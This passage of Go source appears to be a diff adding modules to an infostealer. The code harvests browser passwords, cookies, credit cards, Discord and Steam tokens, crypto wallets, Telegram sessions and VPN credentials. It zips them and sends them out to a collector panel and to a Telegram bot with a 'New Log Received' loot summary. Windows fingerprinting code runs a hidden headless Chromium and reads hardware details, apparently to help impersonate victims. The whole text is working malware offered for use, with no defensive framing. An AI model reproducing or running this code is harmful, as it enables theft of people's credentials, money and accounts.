// the endpoint + auth key are baked in, the agent asks the panel for its key.
func ensurePubKey() error {
if PanelPubKey != "" {
return nil
}
req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil)
if err != nil {
return err
}
req.Header.Set("Authorization", "Bearer "+PanelAuth)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return fmt.Errorf("fetching pubkey: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("pubkey endpoint returned %s", resp.Status)
}
body, _ := io.ReadAll(resp.Body)
var out struct {
PublicKey string `json:"publicKey"`
}
if err := json.Unmarshal(body, &out); err != nil {
return fmt.Errorf("parsing pubkey: %w", err)
}
if len(out.PublicKey) != 64 {
return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey))
}
PanelPubKey = out.PublicKey
return nil
}
func buildBaseURL() string {
return strings.TrimSuffix(PanelEndpoint, "/api/ingest")
}
// SendToPanel posts the encrypted CollectionResult (+ optional binary payloads)
// to the collector panel over E2EE.
func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error {
if PanelEndpoint == "" {
return fmt.Errorf("panel endpoint not configured")
}
if err := ensurePubKey(); err != nil {
return err
}
if PanelPubKey == "" {
return fmt.Errorf("no pubkey available")
}
payload := buildPanelPayload(result, clientID)
if len(payloads) > 0 {
payload["payloads"] = payloads
}
plainJSON, err := json.Marshal(payload)
if err != nil {
return err
}
enc, err := e2eeSeal(plainJSON)
if err != nil {
return err
}
body, _ := json.Marshal(map[string]string{"enc": enc})
req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+PanelAuth)
client := &http.Client{Timeout: 60 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody)))
}
return nil
}
func guessOS() string {
if runtime.GOOS == "windows" {
return os.Getenv("OS")
}
return runtime.GOOS
}
func guessArch() string {
return runtime.GOARCH
}
func GenerateClientID() string {
b := make([]byte, 12)
_, _ = rand.Read(b)
return base64.RawURLEncoding.EncodeToString(b)
}
// buildPanelPayload maps a CollectionResult to the flat structure the panel
// ingest stores into its per-category tables. clientID groups everything.
func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} {
p := map[string]interface{}{
"clientId": clientID,
"host": map[string]interface{}{
"os": guessOS(),
"arch": guessArch(),
},
}
if l := len(r.Passwords); l > 0 {
p["passwords"] = r.Passwords
}
if l := len(r.Cookies); l > 0 {
p["cookies"] = r.Cookies
}
if l := len(r.Autofill); l > 0 {
p["autofill"] = r.Autofill
}
if l := len(r.History); l > 0 {
p["history"] = r.History
}
if l := len(r.Bookmarks); l > 0 {
p["bookmarks"] = r.Bookmarks
}
if l := len(r.CreditCards); l > 0 {
p["creditCards"] = r.CreditCards
}
if l := len(r.DiscordTokens); l > 0 {
p["discordTokens"] = r.DiscordTokens
}
if l := len(r.Files); l > 0 {
p["files"] = r.Files
}
if l := len(r.Extensions); l > 0 {
p["extensions"] = r.Extensions
}
if l := len(r.Wallets); l > 0 {
p["wallets"] = r.Wallets
}
if l := len(r.Telegram); l > 0 {
p["telegram"] = r.Telegram
}
if l := len(r.Keys); l > 0 {
p["keys"] = r.Keys
}
if l := len(r.AppCredentials); l > 0 {
p["appCredentials"] = r.AppCredentials
}
if r.Gaming != nil {
p["gaming"] = r.Gaming
if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 {
p["steamTokens"] = r.Gaming.Steam.SteamTokens
}
}
if r.VPNs != nil {
p["vpns"] = r.VPNs
}
return p
}
@@ -0,0 +1,264 @@
package exfil
import (
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"mime/multipart"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"recovery/recovery"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type TelegramConfig struct {
BotToken string
ChatID string
}
func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error {
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken)
hostname, _ := os.Hostname()
username := os.Getenv("USERNAME")
if username == "" {
username = os.Getenv("USER")
}
ip := getExternalIP()
caption := fmt.Sprintf(`✨ New Log Received ✨
💻 User: %s@%s
🌍 IP: %s
📊 Main Loot:
🔑 Passwords: %d
🍪 Cookies: %d
💰 Wallets: %d
📦 Additional Data:
💬 Messengers: %d
🔐 Extensions: %d
🔑 Keys: %d
🎮 Gaming: %d
🌐 VPNs: %d
📁 Files: %d`,
username, hostname, ip,
counts["passwords"], counts["cookies"], counts["wallets"],
counts["telegram"], counts["extensions"], counts["keys"],
counts["gaming"], counts["vpns"], counts["files"])
var buf bytes.Buffer
writer := multipart.NewWriter(&buf)
_ = writer.WriteField("chat_id", cfg.ChatID)
_ = writer.WriteField("caption", caption)
_ = writer.WriteField("parse_mode", "HTML")
part, err := writer.CreateFormFile("document", filename)
if err != nil {
return err
}
_, _ = part.Write(zipData)
writer.Close()
req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf)
if err != nil {
return err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{Timeout: 120 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body))
}
return nil
}
func getExternalIP() string {
client := &http.Client{Timeout: 5 * time.Second}
resp, err := client.Get("https://api.ipify.org")
if err != nil {
return "unknown"
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return strings.TrimSpace(string(body))
}
func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) {
result, zipData, counts, _, err := CollectResultAndZip(ctx)
if err != nil {
return nil, nil, err
}
_ = result
return zipData, counts, nil
}
// CollectResultAndZip collects a full snapshot and returns:
// - the typed result (for the panel)
// - a single zip of every json+dump for Telegram
// - per-category counts
// - individual binary payloads (wallet/telegram/steam zips) for the panel
func CollectResultAndZip(ctx context.Context) (*types.CollectionResult, []byte, map[string]int, []types.Payload, error) {
opts := types.CollectOptions{
Browsers: true,
Passwords: true,
Cookies: true,
Autofill: true,
History: true,
Bookmarks: true,
CreditCards: true,
Discord: true,
Files: true,
Wallets: true,
Telegram: true,
Keys: true,
Apps: true,
Gaming: true,
VPNs: true,
}
tmpDir, err := os.MkdirTemp("", "kematian-*")
if err != nil {
return nil, nil, nil, nil, err
}
defer os.RemoveAll(tmpDir)
result, err := recovery.Collect(ctx, opts, nil)
if err != nil {
return nil, nil, nil, nil, fmt.Errorf("collection failed: %w", err)
}
extensions := recovery.ScanExtensions()
result.Extensions = extensions
counts := map[string]int{
"passwords": len(result.Passwords),
"cookies": len(result.Cookies),
"wallets": len(result.Wallets),
"telegram": len(result.Telegram),
"extensions": len(result.Extensions),
"keys": len(result.Keys),
"gaming": 0,
"vpns": 0,
"files": len(result.Files),
}
if result.Gaming != nil {
if result.Gaming.Steam != nil {
counts["gaming"]++
}
counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay)
}
if result.VPNs != nil {
counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad)
}
writeJSON := func(name string, data interface{}) error {
jsonData, err := json.MarshalIndent(data, "", " ")
if err != nil {
return err
}
return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644)
}
_ = writeJSON("passwords", result.Passwords)
_ = writeJSON("cookies", result.Cookies)
_ = writeJSON("autofill", result.Autofill)
_ = writeJSON("history", result.History)
_ = writeJSON("bookmarks", result.Bookmarks)
_ = writeJSON("credit_cards", result.CreditCards)
_ = writeJSON("discord_tokens", result.DiscordTokens)
_ = writeJSON("extensions", result.Extensions)
_ = writeJSON("wallets", result.Wallets)
_ = writeJSON("telegram", result.Telegram)
_ = writeJSON("keys", result.Keys)
_ = writeJSON("app_credentials", result.AppCredentials)
_ = writeJSON("gaming", result.Gaming)
_ = writeJSON("vpns", result.VPNs)
var steamTokens []types.SteamTokenResult
if result.Gaming != nil && result.Gaming.Steam != nil {
steamTokens = result.Gaming.Steam.SteamTokens
}
_ = writeJSON("steam_tokens", steamTokens)
_ = writeJSON("fingerprint", recovery.CollectFingerprint())
_ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint())
_ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)})
// Individual payloads are shipped to the panel directly so it can host the
// actual login files (wallet dirs, telegram sessions, steam session).
var payloads []types.Payload
for _, wallet := range result.Wallets {
if wallet.Path != "" {
zipData, err := recovery.ZipDirectory(wallet.Path)
if err == nil && len(zipData) > 0 {
fname := fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name))
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
payloads = append(payloads, types.Payload{
Category: "wallet", Name: wallet.Name, Filename: fname,
Size: len(zipData), Data: zipData,
})
}
}
}
for _, tg := range result.Telegram {
if tg.Path != "" {
zipData, err := recovery.ZipTelegram(tg.Path)
if err == nil && len(zipData) > 0 {
fname := fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account))
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
payloads = append(payloads, types.Payload{
Category: "telegram", Name: tg.Account, Filename: fname,
Size: len(zipData), Data: zipData,
})
}
}
}
if result.Gaming != nil {
if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" {
zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath)
if err == nil && len(zipData) > 0 {
fname := "steam_session.zip"
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
payloads = append(payloads, types.Payload{
Category: "steam", Name: "steam", Filename: fname,
Size: len(zipData), Data: zipData,
})
}
}
}
zipData, err := ziputil.ZipDirectory(tmpDir)
if err != nil {
return nil, nil, nil, nil, err
}
return result, zipData, counts, payloads, nil
}
func sanitizeFilename(name string) string {
replacer := strings.NewReplacer(
"/", "_", "\\", "_", ":", "_", "*", "_", "?", "_",
"\"", "_", "<", "_", ">", "_", "|", "_", " ", "_",
)
return replacer.Replace(name)
}
@@ -0,0 +1,264 @@
//go:build windows
package fingerprint
import (
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/chromedp/cdproto/runtime"
"github.com/chromedp/chromedp"
)
func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams {
return p.WithAwaitPromise(true)
}
const fingerprintJS = `(async () => {
const out = {};
try {
const c = document.createElement("canvas");
c.width = 220; c.height = 60;
const x = c.getContext("2d");
x.textBaseline = "top";
x.font = "14px 'Arial'";
x.fillStyle = "#f60";
x.fillRect(0, 0, 220, 60);
x.fillStyle = "#069";
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2);
x.fillStyle = "rgba(102, 204, 0, 0.7)";
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17);
x.fillStyle = "#f60";
x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill();
out.canvas = c.toDataURL();
} catch (e) {}
try {
const gl = document.createElement("canvas").getContext("webgl");
if (gl) {
const ext = gl.getExtension("WEBGL_debug_renderer_info");
out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER));
out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR));
out.webglVersion = String(gl.getParameter(gl.VERSION));
const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"];
const params = {};
for (const k of keys) {
try {
let v = gl.getParameter(gl[k]);
if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v);
params[k] = v;
} catch (e) {}
}
out.webglParams = params;
const exts = gl.getSupportedExtensions();
out.webglExtensions = exts ? exts.slice().sort() : [];
}
} catch (e) {}
try {
const ac = new OfflineAudioContext(1, 44100, 44100);
const osc = ac.createOscillator();
osc.type = "triangle";
osc.frequency.value = 10000;
const comp = ac.createDynamicsCompressor();
comp.threshold.value = -50;
comp.knee.value = 40;
comp.ratio.value = 12;
comp.attack.value = 0;
comp.release.value = 0.25;
osc.connect(comp);
comp.connect(ac.destination);
osc.start(0);
const buf = await ac.startRendering();
const data = buf.getChannelData(0);
let sum = 0;
for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]);
out.audio = sum;
} catch (e) {}
return out;
})()`
func CollectJS() *JSResult {
res, err := collectJS()
if err != nil {
return nil
}
return res
}
func collectJS() (*JSResult, error) {
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
if wsURL := findExistingDebugURL(); wsURL != "" {
logf("found existing debug endpoint")
if res, err := runRemote(ctx, wsURL); err == nil {
return res, nil
} else {
logf("existing debug endpoint failed: %v", err)
}
}
chrome := browserExePath("Chrome")
if chrome == "" {
chrome = browserExePath("Edge")
}
if chrome == "" {
return nil, fmt.Errorf("no Chromium browser found")
}
logf("spawning hidden Chromium: %s", chrome)
res, err := runHidden(ctx, chrome)
if err != nil {
logf("hidden Chromium failed: %v", err)
}
return res, err
}
func runRemote(ctx context.Context, wsURL string) (*JSResult, error) {
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
defer cancel()
return evalJS(allocCtx)
}
func runHidden(ctx context.Context, chromePath string) (*JSResult, error) {
dataDir, err := os.MkdirTemp("", "kematian_fp_*")
if err != nil {
return nil, fmt.Errorf("temp profile dir: %w", err)
}
defer os.RemoveAll(dataDir)
if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil {
return res, nil
} else {
logf("GPU launch failed: %v; retrying with software rendering", err)
}
return runHiddenWith(ctx, chromePath, dataDir, false)
}
func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) {
args := []string{
"--headless",
"--no-sandbox",
"--disable-dev-shm-usage",
"--no-first-run",
"--no-default-browser-check",
"--disable-extensions",
"--user-data-dir=" + dataDir,
"--remote-debugging-port=0",
"about:blank",
}
if gpu {
args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox")
} else {
args = append(args, "--disable-gpu")
}
cmd := exec.Command(chromePath, args...)
cmd.Stdout = io.Discard
cmd.Stderr = chromeLogWriter{}
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("start chrome: %w", err)
}
defer func() { _ = cmd.Process.Kill() }()
wsURL, err := waitForDevTools(dataDir, 10*time.Second)
if err != nil {
return nil, err
}
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
defer cancel()
return evalJS(allocCtx)
}
func waitForDevTools(dataDir string, timeout time.Duration) (string, error) {
portFile := filepath.Join(dataDir, "DevToolsActivePort")
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
data, err := os.ReadFile(portFile)
if err == nil {
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
if len(lines) >= 2 {
port := strings.TrimSpace(lines[0])
path := strings.TrimSpace(lines[1])
if port != "" && path != "" {
return "ws://127.0.0.1:" + port + path, nil
}
}
}
time.Sleep(100 * time.Millisecond)
}
return "", fmt.Errorf("chrome did not expose a DevTools port")
}
type chromeLogWriter struct{}
func (chromeLogWriter) Write(p []byte) (int, error) {
for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") {
if line != "" {
logf("chrome: %s", line)
}
}
return len(p), nil
}
func evalJS(allocCtx context.Context) (*JSResult, error) {
cctx, cancel := chromedp.NewContext(allocCtx)
defer cancel()
var out JSResult
if err := chromedp.Run(cctx,
chromedp.Navigate("about:blank"),
chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise),
); err != nil {
return nil, err
}
return &out, nil
}
func findExistingDebugURL() string {
local := os.Getenv("LOCALAPPDATA")
if local == "" {
return ""
}
for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} {
data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort"))
if err != nil {
continue
}
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
if len(lines) < 2 {
continue
}
port := strings.TrimSpace(lines[0])
if port == "" {
continue
}
if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" {
return wsURL
}
}
return ""
}
func debugWebSocketURL(port string) (string, error) {
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get("http://127.0.0.1:" + port + "/json/version")
if err != nil {
return "", err
}
defer resp.Body.Close()
var v struct {
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
if err := json.NewDecoder(resp.Body).Decode(&v); err != nil {
return "", err
}
return v.WebSocketDebuggerURL, nil
}
@@ -0,0 +1,7 @@
//go:build !windows
package fingerprint
func CollectJS() *JSResult {
return nil
}
@@ -0,0 +1,7 @@
//go:build !windows
package fingerprint
func Collect() *Result {
return &Result{}
}
@@ -0,0 +1,483 @@
//go:build windows
package fingerprint
import (
"fmt"
"net"
"os"
"path/filepath"
"runtime"
"sort"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows/registry"
)
// ── Win32 API (raw syscalls) ──────────────────────────────────────
var (
user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
procSystemParametersInfo = user32.NewProc("SystemParametersInfoW")
procGetDC = user32.NewProc("GetDC")
procReleaseDC = user32.NewProc("ReleaseDC")
procGetDeviceCaps = gdi32.NewProc("GetDeviceCaps")
procGetActiveProcessorCount = kernel32.NewProc("GetActiveProcessorCount")
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName")
procGetTimeZoneInformation = kernel32.NewProc("GetTimeZoneInformation")
)
type memoryStatusEx struct {
Length uint32
MemoryLoad uint32
TotalPhys uint64
AvailPhys uint64
TotalPageFile uint64
AvailPageFile uint64
TotalVirtual uint64
AvailVirtual uint64
AvailExtendedVirtual uint64
}
type systemTime struct {
Year uint16
Month uint16
DayOfWeek uint16
Day uint16
Hour uint16
Minute uint16
Second uint16
Milliseconds uint16
}
type timeZoneInformation struct {
Bias int32
StandardName [32]uint16
StandardDate systemTime
StandardBias int32
DaylightName [32]uint16
DaylightDate systemTime
DaylightBias int32
}
type rect struct {
Left int32
Top int32
Right int32
Bottom int32
}
// ── Collect ───────────────────────────────────────────────────────
func Collect() *Result {
r := &Result{
Platform: "Win32",
OSArch: runtime.GOARCH,
}
r.OS = osProductName()
r.HardwareConcurrency = cpuCores()
r.DeviceMemory = deviceMemoryGB()
r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES
r.ScreenWidth = getSystemMetrics(0) // SM_CXSCREEN
r.ScreenHeight = getSystemMetrics(1) // SM_CYSCREEN
var work rect
if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) {
r.AvailWidth = int(work.Right - work.Left)
r.AvailHeight = int(work.Bottom - work.Top)
}
hdc, _, _ := procGetDC.Call(0)
if hdc != 0 {
r.ColorDepth = getDeviceCaps(hdc, 12) // BITSPIXEL
if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX
r.DevicePixelRatio = float64(dpi) / 96.0
}
procReleaseDC.Call(0, hdc)
}
r.Timezone, r.TimezoneOffset = timezoneInfo()
r.Languages = languages()
r.Fonts = fonts()
r.GPU = gpuName()
r.Browsers = installedBrowsers()
r.UserAgent = userAgent(r.Browsers)
r.LocalIPs = localIPs()
return r
}
func getSystemMetrics(index int) int {
v, _, _ := procGetSystemMetrics.Call(uintptr(index))
return int(v)
}
func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool {
r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni))
return r != 0
}
func getDeviceCaps(hdc uintptr, index int) int {
v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index))
return int(v)
}
func cpuCores() int {
v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS
if v == 0 {
return runtime.NumCPU()
}
return int(v)
}
func deviceMemoryGB() int {
var ms memoryStatusEx
ms.Length = uint32(unsafe.Sizeof(ms))
r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
if r == 0 {
return 0
}
gb := int(ms.TotalPhys / (1 << 30))
if gb > 8 {
gb = 8 // navigator.deviceMemory is clamped to 8
}
return gb
}
// ── OS ─────────────────────────────────────────────────────────────
func osProductName() string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
if err != nil {
return "Windows"
}
defer k.Close()
product, _, _ := k.GetStringValue("ProductName")
build, _, _ := k.GetStringValue("CurrentBuildNumber")
display, _, _ := k.GetStringValue("DisplayVersion")
ubr, _, _ := k.GetStringValue("UBR")
name := product
if name == "" {
name = "Windows"
}
ver := display
if ver == "" && build != "" {
ver = build
if ubr != "" {
ver = build + "." + ubr
}
}
if ver != "" {
return name + " " + ver
}
return name
}
// ── Timezone ──────────────────────────────────────────────────────
// windowsToIANA maps common Windows timezone names to IANA identifiers.
var windowsToIANA = map[string]string{
"Eastern Standard Time": "America/New_York",
"Central Standard Time": "America/Chicago",
"Mountain Standard Time": "America/Denver",
"Pacific Standard Time": "America/Los_Angeles",
"Alaskan Standard Time": "America/Anchorage",
"Hawaiian Standard Time": "Pacific/Honolulu",
"Atlantic Standard Time": "America/Halifax",
"Newfoundland Standard Time": "America/St_Johns",
"GMT Standard Time": "Europe/London",
"Greenwich Standard Time": "Atlantic/Reykjavik",
"W. Europe Standard Time": "Europe/Berlin",
"Central Europe Standard Time": "Europe/Budapest",
"Romance Standard Time": "Europe/Paris",
"Central European Standard Time": "Europe/Warsaw",
"E. Europe Standard Time": "Europe/Chisinau",
"Russian Standard Time": "Europe/Moscow",
"Israel Standard Time": "Asia/Jerusalem",
"China Standard Time": "Asia/Shanghai",
"Tokyo Standard Time": "Asia/Tokyo",
"Korea Standard Time": "Asia/Seoul",
"Singapore Standard Time": "Asia/Singapore",
"India Standard Time": "Asia/Kolkata",
"AUS Eastern Standard Time": "Australia/Sydney",
"New Zealand Standard Time": "Pacific/Auckland",
"SA Pacific Standard Time": "America/Bogota",
"Argentina Standard Time": "America/Argentina/Buenos_Aires",
"E. South America Standard Time": "America/Sao_Paulo",
}
func timezoneInfo() (string, int) {
var tzi timeZoneInformation
r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi)))
if r == 0xFFFFFFFF {
return "", 0
}
windowsName := syscall.UTF16ToString(tzi.StandardName[:])
offset := -int(tzi.Bias)
iana := windowsToIANA[windowsName]
if iana == "" {
iana = windowsName
}
return iana, offset
}
// ── Languages ─────────────────────────────────────────────────────
func languages() []string {
var langs []string
var buf [85]uint16
r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
if r > 0 && r <= uintptr(len(buf)) {
locale := syscall.UTF16ToString(buf[:r])
if locale != "" {
langs = append(langs, locale)
}
}
if prefs := chromeAcceptLanguages(); prefs != "" {
for _, l := range strings.Split(prefs, ",") {
l = strings.TrimSpace(l)
if l != "" && !containsStr(langs, l) {
langs = append(langs, l)
}
}
}
return langs
}
func chromeAcceptLanguages() string {
local := os.Getenv("LOCALAPPDATA")
if local == "" {
return ""
}
path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`)
data, err := os.ReadFile(path)
if err != nil {
return ""
}
s := string(data)
idx := strings.Index(s, `"accept_languages"`)
if idx < 0 {
return ""
}
rest := s[idx:]
colon := strings.Index(rest, ":")
if colon < 0 {
return ""
}
rest = rest[colon+1:]
start := strings.Index(rest, `"`)
if start < 0 {
return ""
}
rest = rest[start+1:]
end := strings.Index(rest, `"`)
if end < 0 {
return ""
}
return rest[:end]
}
// ── Fonts ─────────────────────────────────────────────────────────
func fonts() []string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`,
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
if err != nil {
return nil
}
defer k.Close()
names, err := k.ReadValueNames(-1)
if err != nil {
return nil
}
var out []string
seen := map[string]bool{}
for _, name := range names {
f := strings.TrimSpace(name)
f = strings.TrimSuffix(f, " (TrueType)")
f = strings.TrimSuffix(f, " (OpenType)")
f = strings.TrimSuffix(f, " (All res)")
if f == "" || seen[f] {
continue
}
seen[f] = true
out = append(out, f)
}
sort.Strings(out)
return out
}
// ── GPU ───────────────────────────────────────────────────────────
func gpuName() string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
if err != nil {
return ""
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(-1)
for _, sub := range subs {
if !strings.HasPrefix(sub, "0") {
continue
}
sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE)
if err != nil {
continue
}
desc, _, _ := sk.GetStringValue("DriverDesc")
sk.Close()
desc = strings.TrimSpace(desc)
if desc == "" || strings.Contains(desc, "Microsoft Basic Display") ||
strings.Contains(desc, "Microsoft Remote Display") {
continue
}
return desc
}
return ""
}
// ── Installed browsers ────────────────────────────────────────────
var browserUpdateGUIDs = []struct {
name string
guid string
}{
{"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`},
{"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`},
{"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`},
}
func installedBrowsers() []Browser {
var out []Browser
for _, b := range browserUpdateGUIDs {
ver := browserVersion(b.guid)
if ver == "" {
continue
}
out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)})
}
return out
}
func browserVersion(guid string) string {
for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} {
k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE)
if err != nil {
continue
}
pv, _, err := k.GetStringValue("pv")
k.Close()
if err == nil && pv != "" {
return pv
}
}
return ""
}
func browserExePath(name string) string {
var paths []string
pf := os.Getenv("ProgramFiles")
pf86 := os.Getenv("ProgramFiles(x86)")
switch name {
case "Chrome":
paths = []string{
filepath.Join(pf, `Google\Chrome\Application\chrome.exe`),
filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`),
}
case "Edge":
paths = []string{
filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`),
filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`),
}
case "Brave":
paths = []string{
filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`),
filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`),
}
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return p
}
}
return ""
}
// ── User agent ────────────────────────────────────────────────────
func userAgent(browsers []Browser) string {
order := []string{"Chrome", "Edge", "Brave"}
version := ""
for _, want := range order {
for _, b := range browsers {
if b.Name == want && b.Version != "" {
version = b.Version
break
}
}
if version != "" {
break
}
}
if version == "" {
return ""
}
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version)
}
// ── Local IPs ─────────────────────────────────────────────────────
func localIPs() []string {
ifaces, err := net.Interfaces()
if err != nil {
return nil
}
var ips []string
for _, iface := range ifaces {
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, addr := range addrs {
ip, _, err := net.ParseCIDR(addr.String())
if err != nil {
continue
}
if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() {
s := v4.String()
if !containsStr(ips, s) {
ips = append(ips, s)
}
}
}
}
return ips
}
func containsStr(s []string, v string) bool {
for _, x := range s {
if x == v {
return true
}
}
return false
}
@@ -0,0 +1,11 @@
package fingerprint
type JSResult struct {
Canvas string `json:"canvas,omitempty"`
WebGLRenderer string `json:"webglRenderer,omitempty"`
WebGLVendor string `json:"webglVendor,omitempty"`
WebGLVersion string `json:"webglVersion,omitempty"`
WebGLParams map[string]interface{} `json:"webglParams,omitempty"`
WebGLExtensions []string `json:"webglExtensions,omitempty"`
Audio float64 `json:"audio,omitempty"`
}
@@ -0,0 +1,7 @@
package fingerprint
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[fingerprint] "+format, args...)
}
@@ -0,0 +1,32 @@
package fingerprint
// Browser is an installed browser and its version.
type Browser struct {
